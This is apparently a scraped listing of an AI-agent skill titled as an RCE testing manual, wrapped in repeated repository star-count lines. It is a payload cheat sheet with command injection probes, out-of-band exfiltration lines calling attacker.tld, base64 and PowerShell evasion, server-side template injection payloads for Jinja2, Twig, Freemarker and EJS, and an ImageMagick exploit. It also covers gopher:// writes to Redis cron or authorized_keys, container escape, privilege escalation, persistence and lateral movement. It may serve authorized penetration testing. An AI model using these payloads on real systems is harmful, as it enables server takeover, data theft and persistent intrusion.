rea-analysis-optimization
MOmorluto/rea486k8,943 new stars in the last 7 days
Strix RCE 测试手册,覆盖命令注入、反序列化、模板注入与代码求值;触发名:strix-rce
Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.
Command Execution
Dynamic Evaluation
Deserialization
Media Pipelines
SSRF Chains
Container Escalation
Unix
;sleep 1, `sleep 1`, || sleep 1Windows
& timeout /t 2 &, ping -n 2 127.0.0.1Start-Sleep -s 2DNS
nslookup $(whoami).x.attacker.tld
HTTP
curl https://attacker.tld/$(hostname)
Direct
;id;uname -a;whoami
Encoded
;(id;hostname)|base64
Delimiters and Operators
; | || & && cmd $(cmd) $() ${IFS} newline/tab& | || ^Argument Injection
--output=/tmp/x, --config=)$PATH, ${HOME}, command substitution%TEMP%, !VAR!, PowerShell $(...)Path and Builtin Confusion
/usr/bin/id) vs relying on PATHprintf, getent) when id is filteredsh -c or cmd /c wrappers to reach the shellEvasion
${IFS}, $'\t', <w'h'o'a'm'i, w"h"o"a"m"ia=i;b=d; $a$becho payload | base64 -d | shIEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug
Minimal Probes
Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>
Java
.NET
PHP
unserialize() and PHAR metadataPython/Ruby
yaml.load/unsafe_load, MarshalExpression Languages
ImageMagick/GraphicsMagick
push graphic-context
fill 'url(https://x.tld/a"|id>/tmp/o")'
pop graphic-context
Ghostscript
%pipe%id file operatorsExifTool
LaTeX
\write18/--shell-escape, \input piping; pandoc filtersffmpeg
FastCGI
gopher:// to php-fpm (build FPM records to invoke system/exec)Redis
gopher:// write cron/authorized_keys or webrootAdmin Interfaces
Docker
/.dockerenv, /proc/1/cgroupcapsh --print/proc/sys/kernel/core_pattern or mount host with --privilegedKubernetes
/var/run/secrets/kubernetes.io/serviceaccountEncoding Differentials
Binary Alternatives
Privilege Escalation
sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)Persistence
Lateral Movement
RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.
MOmorluto/rea486k8,943 new stars in the last 7 days
Diagnose hard bugs and performance regressions by building a feedback loop with tests or scripts.
MAmattpocock/skills337k4,978 new stars in the last 7 days
MAmattpocock/skills337k4,978 new stars in the last 7 days
MAmattpocock/skills337k4,978 new stars in the last 7 days
MAmattpocock/skills337k4,978 new stars in the last 7 days
MAmattpocock/skills337k4,978 new stars in the last 7 days